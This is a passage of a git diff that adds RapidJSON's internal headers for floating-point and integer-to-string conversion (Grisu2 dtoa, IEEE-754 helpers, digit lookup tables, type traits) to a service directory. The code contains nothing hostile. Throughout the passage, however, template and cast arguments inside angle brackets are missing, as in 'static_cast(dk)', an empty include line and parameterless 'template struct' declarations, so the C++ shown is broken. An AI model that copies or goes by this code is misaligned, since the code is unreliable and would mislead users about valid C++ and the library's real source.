0x97bf97f4), RAPIDJSON_UINT64_C2(0xef340a98, 0x172aace5), + RAPIDJSON_UINT64_C2(0xb23867fb, 0x2a35b28e), RAPIDJSON_UINT64_C2(0x84c8d4df, 0xd2c63f3b), + RAPIDJSON_UINT64_C2(0xc5dd4427, 0x1ad3cdba), RAPIDJSON_UINT64_C2(0x936b9fce, 0xbb25c996), + RAPIDJSON_UINT64_C2(0xdbac6c24, 0x7d62a584), RAPIDJSON_UINT64_C2(0xa3ab6658, 0x0d5fdaf6), + RAPIDJSON_UINT64_C2(0xf3e2f893, 0xdec3f126), RAPIDJSON_UINT64_C2(0xb5b5ada8, 0xaaff80b8), + RAPIDJSON_UINT64_C2(0x87625f05, 0x6c7c4a8b), RAPIDJSON_UINT64_C2(0xc9bcff60, 0x34c13053), + RAPIDJSON_UINT64_C2(0x964e858c, 0x91ba2655), RAPIDJSON_UINT64_C2(0xdff97724, 0x70297ebd), + RAPIDJSON_UINT64_C2(0xa6dfbd9f, 0xb8e5b88f), RAPIDJSON_UINT64_C2(0xf8a95fcf, 0x88747d94), + RAPIDJSON_UINT64_C2(0xb9447093, 0x8fa89bcf), RAPIDJSON_UINT64_C2(0x8a08f0f8, 0xbf0f156b), + RAPIDJSON_UINT64_C2(0xcdb02555, 0x653131b6), RAPIDJSON_UINT64_C2(0x993fe2c6, 0xd07b7fac), + RAPIDJSON_UINT64_C2(0xe45c10c4, 0x2a2b3b06), RAPIDJSON_UINT64_C2(0xaa242499, 0x697392d3), + RAPIDJSON_UINT64_C2(0xfd87b5f2, 0x8300ca0e), RAPIDJSON_UINT64_C2(0xbce50864, 0x92111aeb), + RAPIDJSON_UINT64_C2(0x8cbccc09, 0x6f5088cc), RAPIDJSON_UINT64_C2(0xd1b71758, 0xe219652c), + RAPIDJSON_UINT64_C2(0x9c400000, 0x00000000), RAPIDJSON_UINT64_C2(0xe8d4a510, 0x00000000), + RAPIDJSON_UINT64_C2(0xad78ebc5, 0xac620000), RAPIDJSON_UINT64_C2(0x813f3978, 0xf8940984), + RAPIDJSON_UINT64_C2(0xc097ce7b, 0xc90715b3), RAPIDJSON_UINT64_C2(0x8f7e32ce, 0x7bea5c70), + RAPIDJSON_UINT64_C2(0xd5d238a4, 0xabe98068), RAPIDJSON_UINT64_C2(0x9f4f2726, 0x179a2245), + RAPIDJSON_UINT64_C2(0xed63a231, 0xd4c4fb27), RAPIDJSON_UINT64_C2(0xb0de6538, 0x8cc8ada8), + RAPIDJSON_UINT64_C2(0x83c7088e, 0x1aab65db), RAPIDJSON_UINT64_C2(0xc45d1df9, 0x42711d9a), + RAPIDJSON_UINT64_C2(0x924d692c, 0xa61be758), RAPIDJSON_UINT64_C2(0xda01ee64, 0x1a708dea), + RAPIDJSON_UINT64_C2(0xa26da399, 0x9aef774a), RAPIDJSON_UINT64_C2(0xf209787b, 0xb47d6b85), + RAPIDJSON_UINT64_C2(0xb454e4a1, 0x79dd1877), RAPIDJSON_UINT64_C2(0x865b8692, 0x5b9bc5c2), + RAPIDJSON_UINT64_C2(0xc83553c5, 0xc8965d3d), RAPIDJSON_UINT64_C2(0x952ab45c, 0xfa97a0b3), + RAPIDJSON_UINT64_C2(0xde469fbd, 0x99a05fe3), RAPIDJSON_UINT64_C2(0xa59bc234, 0xdb398c25), + RAPIDJSON_UINT64_C2(0xf6c69a72, 0xa3989f5c), RAPIDJSON_UINT64_C2(0xb7dcbf53, 0x54e9bece), + RAPIDJSON_UINT64_C2(0x88fcf317, 0xf22241e2), RAPIDJSON_UINT64_C2(0xcc20ce9b, 0xd35c78a5), + RAPIDJSON_UINT64_C2(0x98165af3, 0x7b2153df), RAPIDJSON_UINT64_C2(0xe2a0b5dc, 0x971f303a), + RAPIDJSON_UINT64_C2(0xa8d9d153, 0x5ce3b396), RAPIDJSON_UINT64_C2(0xfb9b7cd9, 0xa4a7443c), + RAPIDJSON_UINT64_C2(0xbb764c4c, 0xa7a44410), RAPIDJSON_UINT64_C2(0x8bab8eef, 0xb6409c1a), + RAPIDJSON_UINT64_C2(0xd01fef10, 0xa657842c), RAPIDJSON_UINT64_C2(0x9b10a4e5, 0xe9913129), + RAPIDJSON_UINT64_C2(0xe7109bfb, 0xa19c0c9d), RAPIDJSON_UINT64_C2(0xac2820d9, 0x623bf429), + RAPIDJSON_UINT64_C2(0x80444b5e, 0x7aa7cf85), RAPIDJSON_UINT64_C2(0xbf21e440, 0x03acdd2d), + RAPIDJSON_UINT64_C2(0x8e679c2f, 0x5e44ff8f), RAPIDJSON_UINT64_C2(0xd433179d, 0x9c8cb841), + RAPIDJSON_UINT64_C2(0x9e19db92, 0xb4e31ba9), RAPIDJSON_UINT64_C2(0xeb96bf6e, 0xbadf77d9), + RAPIDJSON_UINT64_C2(0xaf87023b, 0x9bf0ee6b) + }; + static const int16_t kCachedPowers_E[] = { + -1220, -1193, -1166, -1140, -1113, -1087, -1060, -1034, -1007, -980, + -954, -927, -901, -874, -847, -821, -794, -768, -741, -715, + -688, -661, -635, -608, -582, -555, -529, -502, -475, -449, + -422, -396, -369, -343, -316, -289, -263, -236, -210, -183, + -157, -130, -103, -77, -50, -24, 3, 30, 56, 83, + 109, 136, 162, 189, 216, 242, 269, 295, 322, 348, + 375, 402, 428, 455, 481, 508, 534, 561, 588, 614, + 641, 667, 694, 720, 747, 774, 800, 827, 853, 880, + 907, 933, 960, 986, 1013, 1039, 1066 + }; + RAPIDJSON_ASSERT(index < 87); + return DiyFp(kCachedPowers_F[index], kCachedPowers_E[index]); +} + +inline DiyFp GetCachedPower(int e, int* K) { + + //int k = static_cast(ceil((-61 - e) * 0.30102999566398114)) + 374; + double dk = (-61 - e) * 0.30102999566398114 + 347; // dk must be positive, so can do ceiling in positive + int k = static_cast(dk); + if (dk - k > 0.0) + k++; + + unsigned index = static_cast((k >> 3) + 1); + *K = -(-348 + static_cast(index << 3)); // decimal exponent no need lookup table + + return GetCachedPowerByIndex(index); +} + +inline DiyFp GetCachedPower10(int exp, int *outExp) { + RAPIDJSON_ASSERT(exp >= -348); + unsigned index = static_cast(exp + 348) / 8u; + *outExp = -348 + static_cast(index) * 8; + return GetCachedPowerByIndex(index); +} + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +RAPIDJSON_DIAG_OFF(padded) +#endif + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_DIYFP_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/dtoa.h b/services/service2/src/auth_service/rapidjson/internal/dtoa.h new file mode 100644 index 0000000..9f6ae3b --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/dtoa.h @@ -0,0 +1,249 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +// This is a C++ header-only implementation of Grisu2 algorithm from the publication: +// Loitsch, Florian. "Printing floating-point numbers quickly and accurately with +// integers." ACM Sigplan Notices 45.6 (2010): 233-243. + +#ifndef RAPIDJSON_DTOA_ +#define RAPIDJSON_DTOA_ + +#include "itoa.h" // GetDigitsLut() +#include "diyfp.h" +#include "ieee754.h" + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +RAPIDJSON_DIAG_OFF(array-bounds) // some gcc versions generate wrong warnings https://gcc.gnu.org/bugzilla/show_bug.cgi?id=59124 +#endif + +inline void GrisuRound(char* buffer, int len, uint64_t delta, uint64_t rest, uint64_t ten_kappa, uint64_t wp_w) { + while (rest < wp_w && delta - rest >= ten_kappa && + (rest + ten_kappa < wp_w || /// closer + wp_w - rest > rest + ten_kappa - wp_w)) { + buffer[len - 1]--; + rest += ten_kappa; + } +} + +inline int CountDecimalDigit32(uint32_t n) { + // Simple pure C++ implementation was faster than __builtin_clz version in this situation. + if (n < 10) return 1; + if (n < 100) return 2; + if (n < 1000) return 3; + if (n < 10000) return 4; + if (n < 100000) return 5; + if (n < 1000000) return 6; + if (n < 10000000) return 7; + if (n < 100000000) return 8; + // Will not reach 10 digits in DigitGen() + //if (n < 1000000000) return 9; + //return 10; + return 9; +} + +inline void DigitGen(const DiyFp& W, const DiyFp& Mp, uint64_t delta, char* buffer, int* len, int* K) { + static const uint64_t kPow10[] = { 1U, 10U, 100U, 1000U, 10000U, 100000U, 1000000U, 10000000U, 100000000U, + 1000000000U, 10000000000U, 100000000000U, 1000000000000U, + 10000000000000U, 100000000000000U, 1000000000000000U, + 10000000000000000U, 100000000000000000U, 1000000000000000000U, + 10000000000000000000U }; + const DiyFp one(uint64_t(1) << -Mp.e, Mp.e); + const DiyFp wp_w = Mp - W; + uint32_t p1 = static_cast(Mp.f >> -one.e); + uint64_t p2 = Mp.f & (one.f - 1); + int kappa = CountDecimalDigit32(p1); // kappa in [0, 9] + *len = 0; + + while (kappa > 0) { + uint32_t d = 0; + switch (kappa) { + case 9: d = p1 / 100000000; p1 %= 100000000; break; + case 8: d = p1 / 10000000; p1 %= 10000000; break; + case 7: d = p1 / 1000000; p1 %= 1000000; break; + case 6: d = p1 / 100000; p1 %= 100000; break; + case 5: d = p1 / 10000; p1 %= 10000; break; + case 4: d = p1 / 1000; p1 %= 1000; break; + case 3: d = p1 / 100; p1 %= 100; break; + case 2: d = p1 / 10; p1 %= 10; break; + case 1: d = p1; p1 = 0; break; + default:; + } + if (d || *len) + buffer[(*len)++] = static_cast('0' + static_cast(d)); + kappa--; + uint64_t tmp = (static_cast(p1) << -one.e) + p2; + if (tmp <= delta) { + *K += kappa; + GrisuRound(buffer, *len, delta, tmp, kPow10[kappa] << -one.e, wp_w.f); + return; + } + } + + // kappa = 0 + for (;;) { + p2 *= 10; + delta *= 10; + char d = static_cast(p2 >> -one.e); + if (d || *len) + buffer[(*len)++] = static_cast('0' + d); + p2 &= one.f - 1; + kappa--; + if (p2 < delta) { + *K += kappa; + int index = -kappa; + GrisuRound(buffer, *len, delta, p2, one.f, wp_w.f * (index < 20 ? kPow10[index] : 0)); + return; + } + } +} + +inline void Grisu2(double value, char* buffer, int* length, int* K) { + const DiyFp v(value); + DiyFp w_m, w_p; + v.NormalizedBoundaries(&w_m, &w_p); + + const DiyFp c_mk = GetCachedPower(w_p.e, K); + const DiyFp W = v.Normalize() * c_mk; + DiyFp Wp = w_p * c_mk; + DiyFp Wm = w_m * c_mk; + Wm.f++; + Wp.f--; + DigitGen(W, Wp, Wp.f - Wm.f, buffer, length, K); +} + +inline char* WriteExponent(int K, char* buffer) { + if (K < 0) { + *buffer++ = '-'; + K = -K; + } + + if (K >= 100) { + *buffer++ = static_cast('0' + static_cast(K / 100)); + K %= 100; + const char* d = GetDigitsLut() + K * 2; + *buffer++ = d[0]; + *buffer++ = d[1]; + } + else if (K >= 10) { + const char* d = GetDigitsLut() + K * 2; + *buffer++ = d[0]; + *buffer++ = d[1]; + } + else + *buffer++ = static_cast('0' + static_cast(K)); + + return buffer; +} + +inline char* Prettify(char* buffer, int length, int k, int maxDecimalPlaces) { + const int kk = length + k; // 10^(kk-1) <= v < 10^kk + + if (0 <= k && kk <= 21) { + // 1234e7 -> 12340000000 + for (int i = length; i < kk; i++) + buffer[i] = '0'; + buffer[kk] = '.'; + buffer[kk + 1] = '0'; + return &buffer[kk + 2]; + } + else if (0 < kk && kk <= 21) { + // 1234e-2 -> 12.34 + std::memmove(&buffer[kk + 1], &buffer[kk], static_cast(length - kk)); + buffer[kk] = '.'; + if (0 > k + maxDecimalPlaces) { + // When maxDecimalPlaces = 2, 1.2345 -> 1.23, 1.102 -> 1.1 + // Remove extra trailing zeros (at least one) after truncation. + for (int i = kk + maxDecimalPlaces; i > kk + 1; i--) + if (buffer[i] != '0') + return &buffer[i + 1]; + return &buffer[kk + 2]; // Reserve one zero + } + else + return &buffer[length + 1]; + } + else if (-6 < kk && kk <= 0) { + // 1234e-6 -> 0.001234 + const int offset = 2 - kk; + std::memmove(&buffer[offset], &buffer[0], static_cast(length)); + buffer[0] = '0'; + buffer[1] = '.'; + for (int i = 2; i < offset; i++) + buffer[i] = '0'; + if (length - kk > maxDecimalPlaces) { + // When maxDecimalPlaces = 2, 0.123 -> 0.12, 0.102 -> 0.1 + // Remove extra trailing zeros (at least one) after truncation. + for (int i = maxDecimalPlaces + 1; i > 2; i--) + if (buffer[i] != '0') + return &buffer[i + 1]; + return &buffer[3]; // Reserve one zero + } + else + return &buffer[length + offset]; + } + else if (kk < -maxDecimalPlaces) { + // Truncate to zero + buffer[0] = '0'; + buffer[1] = '.'; + buffer[2] = '0'; + return &buffer[3]; + } + else if (length == 1) { + // 1e30 + buffer[1] = 'e'; + return WriteExponent(kk - 1, &buffer[2]); + } + else { + // 1234e30 -> 1.234e33 + std::memmove(&buffer[2], &buffer[1], static_cast(length - 1)); + buffer[1] = '.'; + buffer[length + 1] = 'e'; + return WriteExponent(kk - 1, &buffer[0 + length + 2]); + } +} + +inline char* dtoa(double value, char* buffer, int maxDecimalPlaces = 324) { + RAPIDJSON_ASSERT(maxDecimalPlaces >= 1); + Double d(value); + if (d.IsZero()) { + if (d.Sign()) + *buffer++ = '-'; // -0.0, Issue #289 + buffer[0] = '0'; + buffer[1] = '.'; + buffer[2] = '0'; + return &buffer[3]; + } + else { + if (value < 0) { + *buffer++ = '-'; + value = -value; + } + int length, K; + Grisu2(value, buffer, &length, &K); + return Prettify(buffer, length, K, maxDecimalPlaces); + } +} + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_DTOA_ diff --git a/services/service2/src/auth_service/rapidjson/internal/ieee754.h b/services/service2/src/auth_service/rapidjson/internal/ieee754.h new file mode 100644 index 0000000..68c9e96 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/ieee754.h @@ -0,0 +1,78 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_IEEE754_ +#define RAPIDJSON_IEEE754_ + +#include "../rapidjson.h" + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +class Double { +public: + Double() {} + Double(double d) : d_(d) {} + Double(uint64_t u) : u_(u) {} + + double Value() const { return d_; } + uint64_t Uint64Value() const { return u_; } + + double NextPositiveDouble() const { + RAPIDJSON_ASSERT(!Sign()); + return Double(u_ + 1).Value(); + } + + bool Sign() const { return (u_ & kSignMask) != 0; } + uint64_t Significand() const { return u_ & kSignificandMask; } + int Exponent() const { return static_cast(((u_ & kExponentMask) >> kSignificandSize) - kExponentBias); } + + bool IsNan() const { return (u_ & kExponentMask) == kExponentMask && Significand() != 0; } + bool IsInf() const { return (u_ & kExponentMask) == kExponentMask && Significand() == 0; } + bool IsNanOrInf() const { return (u_ & kExponentMask) == kExponentMask; } + bool IsNormal() const { return (u_ & kExponentMask) != 0 || Significand() == 0; } + bool IsZero() const { return (u_ & (kExponentMask | kSignificandMask)) == 0; } + + uint64_t IntegerSignificand() const { return IsNormal() ? Significand() | kHiddenBit : Significand(); } + int IntegerExponent() const { return (IsNormal() ? Exponent() : kDenormalExponent) - kSignificandSize; } + uint64_t ToBias() const { return (u_ & kSignMask) ? ~u_ + 1 : u_ | kSignMask; } + + static int EffectiveSignificandSize(int order) { + if (order >= -1021) + return 53; + else if (order <= -1074) + return 0; + else + return order + 1074; + } + +private: + static const int kSignificandSize = 52; + static const int kExponentBias = 0x3FF; + static const int kDenormalExponent = 1 - kExponentBias; + static const uint64_t kSignMask = RAPIDJSON_UINT64_C2(0x80000000, 0x00000000); + static const uint64_t kExponentMask = RAPIDJSON_UINT64_C2(0x7FF00000, 0x00000000); + static const uint64_t kSignificandMask = RAPIDJSON_UINT64_C2(0x000FFFFF, 0xFFFFFFFF); + static const uint64_t kHiddenBit = RAPIDJSON_UINT64_C2(0x00100000, 0x00000000); + + union { + double d_; + uint64_t u_; + }; +}; + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_IEEE754_ diff --git a/services/service2/src/auth_service/rapidjson/internal/itoa.h b/services/service2/src/auth_service/rapidjson/internal/itoa.h new file mode 100644 index 0000000..9fe8c93 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/itoa.h @@ -0,0 +1,308 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ITOA_ +#define RAPIDJSON_ITOA_ + +#include "../rapidjson.h" + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +inline const char* GetDigitsLut() { + static const char cDigitsLut[200] = { + '0','0','0','1','0','2','0','3','0','4','0','5','0','6','0','7','0','8','0','9', + '1','0','1','1','1','2','1','3','1','4','1','5','1','6','1','7','1','8','1','9', + '2','0','2','1','2','2','2','3','2','4','2','5','2','6','2','7','2','8','2','9', + '3','0','3','1','3','2','3','3','3','4','3','5','3','6','3','7','3','8','3','9', + '4','0','4','1','4','2','4','3','4','4','4','5','4','6','4','7','4','8','4','9', + '5','0','5','1','5','2','5','3','5','4','5','5','5','6','5','7','5','8','5','9', + '6','0','6','1','6','2','6','3','6','4','6','5','6','6','6','7','6','8','6','9', + '7','0','7','1','7','2','7','3','7','4','7','5','7','6','7','7','7','8','7','9', + '8','0','8','1','8','2','8','3','8','4','8','5','8','6','8','7','8','8','8','9', + '9','0','9','1','9','2','9','3','9','4','9','5','9','6','9','7','9','8','9','9' + }; + return cDigitsLut; +} + +inline char* u32toa(uint32_t value, char* buffer) { + RAPIDJSON_ASSERT(buffer != 0); + + const char* cDigitsLut = GetDigitsLut(); + + if (value < 10000) { + const uint32_t d1 = (value / 100) << 1; + const uint32_t d2 = (value % 100) << 1; + + if (value >= 1000) + *buffer++ = cDigitsLut[d1]; + if (value >= 100) + *buffer++ = cDigitsLut[d1 + 1]; + if (value >= 10) + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + } + else if (value < 100000000) { + // value = bbbbcccc + const uint32_t b = value / 10000; + const uint32_t c = value % 10000; + + const uint32_t d1 = (b / 100) << 1; + const uint32_t d2 = (b % 100) << 1; + + const uint32_t d3 = (c / 100) << 1; + const uint32_t d4 = (c % 100) << 1; + + if (value >= 10000000) + *buffer++ = cDigitsLut[d1]; + if (value >= 1000000) + *buffer++ = cDigitsLut[d1 + 1]; + if (value >= 100000) + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + + *buffer++ = cDigitsLut[d3]; + *buffer++ = cDigitsLut[d3 + 1]; + *buffer++ = cDigitsLut[d4]; + *buffer++ = cDigitsLut[d4 + 1]; + } + else { + // value = aabbbbcccc in decimal + + const uint32_t a = value / 100000000; // 1 to 42 + value %= 100000000; + + if (a >= 10) { + const unsigned i = a << 1; + *buffer++ = cDigitsLut[i]; + *buffer++ = cDigitsLut[i + 1]; + } + else + *buffer++ = static_cast('0' + static_cast(a)); + + const uint32_t b = value / 10000; // 0 to 9999 + const uint32_t c = value % 10000; // 0 to 9999 + + const uint32_t d1 = (b / 100) << 1; + const uint32_t d2 = (b % 100) << 1; + + const uint32_t d3 = (c / 100) << 1; + const uint32_t d4 = (c % 100) << 1; + + *buffer++ = cDigitsLut[d1]; + *buffer++ = cDigitsLut[d1 + 1]; + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + *buffer++ = cDigitsLut[d3]; + *buffer++ = cDigitsLut[d3 + 1]; + *buffer++ = cDigitsLut[d4]; + *buffer++ = cDigitsLut[d4 + 1]; + } + return buffer; +} + +inline char* i32toa(int32_t value, char* buffer) { + RAPIDJSON_ASSERT(buffer != 0); + uint32_t u = static_cast(value); + if (value < 0) { + *buffer++ = '-'; + u = ~u + 1; + } + + return u32toa(u, buffer); +} + +inline char* u64toa(uint64_t value, char* buffer) { + RAPIDJSON_ASSERT(buffer != 0); + const char* cDigitsLut = GetDigitsLut(); + const uint64_t kTen8 = 100000000; + const uint64_t kTen9 = kTen8 * 10; + const uint64_t kTen10 = kTen8 * 100; + const uint64_t kTen11 = kTen8 * 1000; + const uint64_t kTen12 = kTen8 * 10000; + const uint64_t kTen13 = kTen8 * 100000; + const uint64_t kTen14 = kTen8 * 1000000; + const uint64_t kTen15 = kTen8 * 10000000; + const uint64_t kTen16 = kTen8 * kTen8; + + if (value < kTen8) { + uint32_t v = static_cast(value); + if (v < 10000) { + const uint32_t d1 = (v / 100) << 1; + const uint32_t d2 = (v % 100) << 1; + + if (v >= 1000) + *buffer++ = cDigitsLut[d1]; + if (v >= 100) + *buffer++ = cDigitsLut[d1 + 1]; + if (v >= 10) + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + } + else { + // value = bbbbcccc + const uint32_t b = v / 10000; + const uint32_t c = v % 10000; + + const uint32_t d1 = (b / 100) << 1; + const uint32_t d2 = (b % 100) << 1; + + const uint32_t d3 = (c / 100) << 1; + const uint32_t d4 = (c % 100) << 1; + + if (value >= 10000000) + *buffer++ = cDigitsLut[d1]; + if (value >= 1000000) + *buffer++ = cDigitsLut[d1 + 1]; + if (value >= 100000) + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + + *buffer++ = cDigitsLut[d3]; + *buffer++ = cDigitsLut[d3 + 1]; + *buffer++ = cDigitsLut[d4]; + *buffer++ = cDigitsLut[d4 + 1]; + } + } + else if (value < kTen16) { + const uint32_t v0 = static_cast(value / kTen8); + const uint32_t v1 = static_cast(value % kTen8); + + const uint32_t b0 = v0 / 10000; + const uint32_t c0 = v0 % 10000; + + const uint32_t d1 = (b0 / 100) << 1; + const uint32_t d2 = (b0 % 100) << 1; + + const uint32_t d3 = (c0 / 100) << 1; + const uint32_t d4 = (c0 % 100) << 1; + + const uint32_t b1 = v1 / 10000; + const uint32_t c1 = v1 % 10000; + + const uint32_t d5 = (b1 / 100) << 1; + const uint32_t d6 = (b1 % 100) << 1; + + const uint32_t d7 = (c1 / 100) << 1; + const uint32_t d8 = (c1 % 100) << 1; + + if (value >= kTen15) + *buffer++ = cDigitsLut[d1]; + if (value >= kTen14) + *buffer++ = cDigitsLut[d1 + 1]; + if (value >= kTen13) + *buffer++ = cDigitsLut[d2]; + if (value >= kTen12) + *buffer++ = cDigitsLut[d2 + 1]; + if (value >= kTen11) + *buffer++ = cDigitsLut[d3]; + if (value >= kTen10) + *buffer++ = cDigitsLut[d3 + 1]; + if (value >= kTen9) + *buffer++ = cDigitsLut[d4]; + + *buffer++ = cDigitsLut[d4 + 1]; + *buffer++ = cDigitsLut[d5]; + *buffer++ = cDigitsLut[d5 + 1]; + *buffer++ = cDigitsLut[d6]; + *buffer++ = cDigitsLut[d6 + 1]; + *buffer++ = cDigitsLut[d7]; + *buffer++ = cDigitsLut[d7 + 1]; + *buffer++ = cDigitsLut[d8]; + *buffer++ = cDigitsLut[d8 + 1]; + } + else { + const uint32_t a = static_cast(value / kTen16); // 1 to 1844 + value %= kTen16; + + if (a < 10) + *buffer++ = static_cast('0' + static_cast(a)); + else if (a < 100) { + const uint32_t i = a << 1; + *buffer++ = cDigitsLut[i]; + *buffer++ = cDigitsLut[i + 1]; + } + else if (a < 1000) { + *buffer++ = static_cast('0' + static_cast(a / 100)); + + const uint32_t i = (a % 100) << 1; + *buffer++ = cDigitsLut[i]; + *buffer++ = cDigitsLut[i + 1]; + } + else { + const uint32_t i = (a / 100) << 1; + const uint32_t j = (a % 100) << 1; + *buffer++ = cDigitsLut[i]; + *buffer++ = cDigitsLut[i + 1]; + *buffer++ = cDigitsLut[j]; + *buffer++ = cDigitsLut[j + 1]; + } + + const uint32_t v0 = static_cast(value / kTen8); + const uint32_t v1 = static_cast(value % kTen8); + + const uint32_t b0 = v0 / 10000; + const uint32_t c0 = v0 % 10000; + + const uint32_t d1 = (b0 / 100) << 1; + const uint32_t d2 = (b0 % 100) << 1; + + const uint32_t d3 = (c0 / 100) << 1; + const uint32_t d4 = (c0 % 100) << 1; + + const uint32_t b1 = v1 / 10000; + const uint32_t c1 = v1 % 10000; + + const uint32_t d5 = (b1 / 100) << 1; + const uint32_t d6 = (b1 % 100) << 1; + + const uint32_t d7 = (c1 / 100) << 1; + const uint32_t d8 = (c1 % 100) << 1; + + *buffer++ = cDigitsLut[d1]; + *buffer++ = cDigitsLut[d1 + 1]; + *buffer++ = cDigitsLut[d2]; + *buffer++ = cDigitsLut[d2 + 1]; + *buffer++ = cDigitsLut[d3]; + *buffer++ = cDigitsLut[d3 + 1]; + *buffer++ = cDigitsLut[d4]; + *buffer++ = cDigitsLut[d4 + 1]; + *buffer++ = cDigitsLut[d5]; + *buffer++ = cDigitsLut[d5 + 1]; + *buffer++ = cDigitsLut[d6]; + *buffer++ = cDigitsLut[d6 + 1]; + *buffer++ = cDigitsLut[d7]; + *buffer++ = cDigitsLut[d7 + 1]; + *buffer++ = cDigitsLut[d8]; + *buffer++ = cDigitsLut[d8 + 1]; + } + + return buffer; +} + +inline char* i64toa(int64_t value, char* buffer) { + RAPIDJSON_ASSERT(buffer != 0); + uint64_t u = static_cast(value); + if (value < 0) { + *buffer++ = '-'; + u = ~u + 1; + } + + return u64toa(u, buffer); +} + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_ITOA_ diff --git a/services/service2/src/auth_service/rapidjson/internal/meta.h b/services/service2/src/auth_service/rapidjson/internal/meta.h new file mode 100644 index 0000000..27092dc --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/meta.h @@ -0,0 +1,186 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_INTERNAL_META_H_ +#define RAPIDJSON_INTERNAL_META_H_ + +#include "../rapidjson.h" + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#if defined(_MSC_VER) && !defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(6334) +#endif + +#if RAPIDJSON_HAS_CXX11_TYPETRAITS +#include +#endif + +//@cond RAPIDJSON_INTERNAL +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +// Helper to wrap/convert arbitrary types to void, useful for arbitrary type matching +template struct Void { typedef void Type; }; + +/////////////////////////////////////////////////////////////////////////////// +// BoolType, TrueType, FalseType +// +template struct BoolType { + static const bool Value = Cond; + typedef BoolType Type; +}; +typedef BoolType TrueType; +typedef BoolType FalseType; + + +/////////////////////////////////////////////////////////////////////////////// +// SelectIf, BoolExpr, NotExpr, AndExpr, OrExpr +// + +template struct SelectIfImpl { template struct Apply { typedef T1 Type; }; }; +template <> struct SelectIfImpl { template struct Apply { typedef T2 Type; }; }; +template struct SelectIfCond : SelectIfImpl::template Apply {}; +template struct SelectIf : SelectIfCond {}; + +template struct AndExprCond : FalseType {}; +template <> struct AndExprCond : TrueType {}; +template struct OrExprCond : TrueType {}; +template <> struct OrExprCond : FalseType {}; + +template struct BoolExpr : SelectIf::Type {}; +template struct NotExpr : SelectIf::Type {}; +template struct AndExpr : AndExprCond::Type {}; +template struct OrExpr : OrExprCond::Type {}; + + +/////////////////////////////////////////////////////////////////////////////// +// AddConst, MaybeAddConst, RemoveConst +template struct AddConst { typedef const T Type; }; +template struct MaybeAddConst : SelectIfCond {}; +template struct RemoveConst { typedef T Type; }; +template struct RemoveConst { typedef T Type; }; + + +/////////////////////////////////////////////////////////////////////////////// +// IsSame, IsConst, IsMoreConst, IsPointer +// +template struct IsSame : FalseType {}; +template struct IsSame : TrueType {}; + +template struct IsConst : FalseType {}; +template struct IsConst : TrueType {}; + +template +struct IsMoreConst + : AndExpr::Type, typename RemoveConst::Type>, + BoolType::Value >= IsConst::Value> >::Type {}; + +template struct IsPointer : FalseType {}; +template struct IsPointer : TrueType {}; + +/////////////////////////////////////////////////////////////////////////////// +// IsBaseOf +// +#if RAPIDJSON_HAS_CXX11_TYPETRAITS + +template struct IsBaseOf + : BoolType< ::std::is_base_of::value> {}; + +#else // simplified version adopted from Boost + +template struct 